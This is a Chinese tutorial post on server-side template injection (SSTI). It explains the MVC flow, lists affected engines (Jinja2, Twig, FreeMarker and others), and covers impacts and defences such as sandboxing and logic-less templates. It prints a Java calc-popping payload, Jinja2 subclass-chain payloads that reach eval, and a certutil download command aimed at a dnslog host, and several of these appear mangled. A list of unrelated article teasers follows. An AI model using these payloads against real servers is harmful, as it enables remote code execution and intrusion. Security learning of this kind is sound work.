基础漏洞——SSTI(服务器模板注入)

news2024/12/26 0:14:42

一.SSTI(服务器模板注入)的出现,框架漏洞

首先可以通过SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。有些框架一般都采用MVC的模式。

用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

MVC架构

M:mysql

V:VIEW

C:控制器

C:控制器——>M:mysql——>V:VIEW

SSSTI 之前没有的,但由于现在很多使用框架CMS,便捷功能,对模板进行编辑,用户控制,产生。

二.SSTI原理

服务端接收攻击者的恶意输入,没有进行处理将其作为web应用模块的一部分,然后模板引擎在进行渲染的时候,执行了攻击者的恶意代码,实现攻击者的目的。

存在于一些常见框架:

python框架: jinja2、mako、tornado、django

PHP 框架:smarty、twig

Java 框架 :jade、velocity,freemarker

SSTI其中格式

python和php都是{{}}

java:${ ex("calc") }//弹出计算机的一个payload

三.SSTI利用方式

常见的SSTI模块注入攻击:

1、代码执行:攻击者可以通过SSTI注入在服务器端执行任意代码,包括命令执行、远程文件包含等攻击。这可能导致服务器被完全控制,进一步导致数据泄漏、服务器崩溃或恶意操作。

2、敏感信息泄露:攻击者可以通过SSTI注入获取服务器上的敏感信息,如数据库连接字符串、API密钥等。这可能导致用户数据泄露、系统被入侵或身份盗窃等问题。

3、垂直和横向越权:通过SSTI注入,攻击者可能访问到非授权的数据或功能,实施垂直或横向越权行为。这可能导致用户权限被提升、重要数据被访问或其他合法用户遭受影响。

4、DoS攻击:攻击者可以通过SSTI注入导致服务器负载过高,从而拒绝服务,使网站或应用程序无法正常运行。

四.SSTI防御

1)限制“编辑”访问,对所有人开放的模板很容易成为黑客的目标。因此,最好通过对模板文件应用访问规则来限制访问。防止模板被开发人员和管理员以外的任何人修改是至关重要的。此外,生产中使用的模板只能由负责服务器或应用程序的特定管理员访问,而不应由开发人员访问。这可以降低供应链攻击和内部威胁的风险。

(2)过滤输入,过滤可以显着降低 SSTI 攻击的风险。模板应检查所有预期输入是否存在破坏性元素。如果可能,该模板应使用白名单方法来仅允许用户期望的输入,并拒绝其他所有内容。一种常见的方法是使用正则表达式来创建允许的输入模式列表。虽然输入清理很重要,但它是有限的,攻击者有许多创造性的方法来规避它并创建符合允许模式的恶意输入。因此,该解决方案不能保证完全保护。

(3)沙盒,沙盒是一种比清理更安全的方法。这是一种预防措施,可为用户创建安全、隔离的环境。在这个环境中,没有危险的功能或模块,并且对其他数据的访问受到限制。这意味着如果发现漏洞或用户尝试攻击,损害是有限的。对模板进行沙箱处理是一种非常有效的措施,但实施起来却很困难。此外,攻击者可以利用错误配置或尝试提升权限以突破沙盒环境,从而避开沙盒。

(4)无逻辑模板,也许最安全的方法是使用无逻辑模板。这些是将代码解释与视觉表示完全分开的模板。无逻辑模板引擎的一个例子是 Mustache。无逻辑模板使用控制流语句来确保控件在默认情况下是数据驱动的,从而实现与应用程序逻辑的集成。在此设置中,远程代码执行的可能性变得非常小。

五.可能存在SSTI漏洞的情况

第一种:demo 环境 /login 和 /ssti

第二种demo_ceshi环境 /ssti?param={{4*4}}

python app.py

GET /ssti?username={{''._class_._base_._subclasses_()[128]._init_._globals_['builtins']'eval'}}

GET /ssti?username={{''.class.base.subclasses()[128].init.globals['builtins']'eval'}}

{{''._class_._base_._subclasses_()[128]._init_._globals_['builtins']'eval'}}

第三种后台编辑

certutil -urlcache -split -f http://rszhs5.dnslog.cn

总结:凡是使用模板的网站,基本都会存在SSTI,只是能否控制其传参而已,这里模板都可以通过工具扫描出来的,面试可能会问你一些实现过程,可以网上找相应靶场练习,熟悉熟悉。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2172722.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决 Java 中由于 parallelStream 导致的死锁

并发性是软件开发的福音,也是祸根。通过并行处理提高性能的承诺与错综复杂的挑战相伴而生,例如臭名昭著的死锁。死锁是多线程编程世界中的隐患,它甚至可以使最强大的应用程序陷入瘫痪。它描述了两个或多个线程永远被阻塞,相互等待…

FOC矢量控制

目录 前言一、FOC简介1.1 FOC是什么1.2 FOC框图介绍 二、FOC坐标变换2.1 电流采集2.2 Clarke变换2.3 Park变换 三、闭环控制3.1 电流环控制3.3 速度环控制3.4 位置环控制 四、SVPWM原理4.1 空间矢量合成4.2 SVPWM法则4.3 MOS开关方式4.4 矢量作用时间 前言 本文主要介绍无刷直流…

未来医疗:从医技数字化2.0到全局变革

斯蒂芬•申弗(Stephen C. Schimpff)的《医疗大趋势:明日医学》被认为是全球第一本系统介绍未来医疗的权威著作。在书中,作者认为基因组学、手术技术革新、干细胞、数字医疗等关键技术将驱动医疗变革的发生,全面提升人类…

OpenAI o1-preview:详细分析

OpenAI 终于打破沉默,发布了万众期待的 “o1-preview”。其中有很多内容值得解读。 作为一家以 LLM 为生的人工智能初创公司,我们想知道这个新模型的性能如何,以及它能如何帮助我们改进产品。 因此,我花了一整天的时间来实验这个…

(JAVA)队列 和 符号表 两种数据结构的实现

1. 队列 1.1 队列的概述 队列是一种基于先进先出(FIFO)的数据结构,是一种只能在一端进行插入,在另一端进行删除操作的特殊线性表。 它按照先进先出的原则存储数据,先进入的数据,在读取时先被读出来 1.2 …

蓝桥杯【物联网】零基础到国奖之路:十二. TIM

蓝桥杯【物联网】零基础到国奖之路:十二. TIM 第一节 理论知识第二节 cubemx配置 第一节 理论知识 STM32L071xx器件包括4个通用定时器、1个低功耗定时器(LPTIM)、2个基本定时器、2个看门狗定时器和SysTick定时器。 通用定时器(TIM2、TIM3、…

详解JavaScript中属性getter和setter

6.6 属性getter和setter 属性值可以用1个或者2个方法替代,getter和setter. 由这两个定义的属性称作存取器属性(accessor property),不同于数据属性,只有一个简单的值。有读写属性,只能写,只能读,可以读写…

数据结构 算法的时间复杂度 计算(两种规则 加法原则+乘法原则)

在分析时间复杂性时,加法和乘法原则是两个基本且重要的概念,它们分别用于处理算法中顺序执行和嵌套执行的代码段的时间复杂度计算。以下是对这两个原则的详细说明: 一、加法原则 定义: 加法原则适用于顺序执行的代码段。如果一…

从Linux系统的角度看待文件-基础IO

目录 从Linux系统的角度看待文件 系统文件I/O open write read 文件操作的本质 vim中批量注释的方法 从Linux系统的角度看待文件 关于文件的共识: 1.空文件也要占用磁盘空间 2.文件内容属性 3.文件操作包括文件内容/文件属性/文件内容属性 4.文件路径文…

LDO实习报告(免费)-有完整电路版图

LDO实习任务书 实习目的: 了解LDO电路研究现状和原理结构,熟悉模拟电路设计流程。 week1 : 调研LDO应用情况及研究现状。 week2 : 熟悉LDO基本原理及组成。 week3 : 构建LDO电路。 week4 : 对LDO进…

从日志到洞察:轻松实现服务器安全管理的神器

在当今复杂多变的网络环境中,服务器安全管理已成为一项不可或缺的任务。然而,面对海量的日志数据,如何快速精准地提取有价值的信息,并及时发现潜在的安全威胁?本文将为您介绍一款强大的服务器日志检索与查杀工具&#…

pilz皮尔兹PSSuniversal分散控制平台 Dezentrale Steuerungsplattform 手测

pilz皮尔兹PSSuniversal分散控制平台 Dezentrale Steuerungsplattform 手测

WebAPI编程(第三天,第四天)

WebAPI编程(第三天,第四天) day03 - Web APIs1.1. 节点操作1.1.1 删除节点1.1.2 案例:删除留言1.1.3 复制(克隆)节点1.1.4 案例:动态生成表格1.1.5 创建元素的三种方式1.1.6 innerTHML和createE…

基于SSM+小程序的自习室选座与门禁管理系统(自习室1)(源码+sql脚本+视频导入教程+文档)

👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 1、管理员实现了首页、基础数据管理、论坛管理、公告信息管理、用户管理、座位管理等 2、用户实现了在论坛模块通过发帖与评论帖子的方式进行信息讨论,也能对账户进行在线充值…

深圳龙链科技:全球区块链开发先锋,领航Web3生态未来

【深圳龙链科技】是全球领先的Web3区块链技术开发公司,专注于为全球客户提供创新高效的区块链解决方案。 深圳龙链科技由币安资深股东携手香港领先的Web3创新枢纽Cyberport联袂打造,立足于香港这一国际金融中心,放眼全球,汇聚了华…

罕见,回复问询后闪电终止,业绩存下滑风险

《IPO魔女》认为,和美精艺利润低且大幅波动,报告期公司毛利率持续大幅下滑。而2023年同行业的上市公司均出现了业绩大幅下滑的情况,还未上市的和美精艺恐怕也存在业绩下滑的风险。此外,2020年至2022年,和美精艺研发投入…

Excel根据一个值匹配一行数据

根据一个值从一个表中匹配一行数据,例如从左边的表中找到指定姓名的所有行数据 使用VLOOKUP函数,参数: Lookup_value:需要搜索的值,单个值 Table_array:被搜索的区域,是个表 Col_index_num&…

JS数据类型类型转换

基本数据类型 JS中的数据类型由原始值和对象共同组成,原始值一共有七种原始值: 数值(Number)大整数(BigInt)字符串(String)布尔值(Boolean)空值(Null)未定义(Undefined)符号(Symbol) 数值和大整数 数值(Number):在js中所有的整数和浮点数都是number类型 …

【vue-router】用meta.keepAlive做缓存

网上大家都说按下面的写法 <keep-alive><router-view v-if"route.meta.keepAlive"></router-view> </keep-alive> <router-view v-if"!route.meta.keepAlive"></router-view>但是会报错 解决方法也没找到 最后换一…

23、Presidential

难度 中 目标 root权限 2个flag 基于virtualbox启动 题目提示枚举是你的朋友 kali 192.168.86.102 靶机 192.168.86.107 信息收集 端口扫描 tcp开启的端口就两个&#xff0c;稳妥起见扫了一些常见的端口看是否有UDP协议开放的端口。同时nmap在扫描80端口提示可能存在的tra…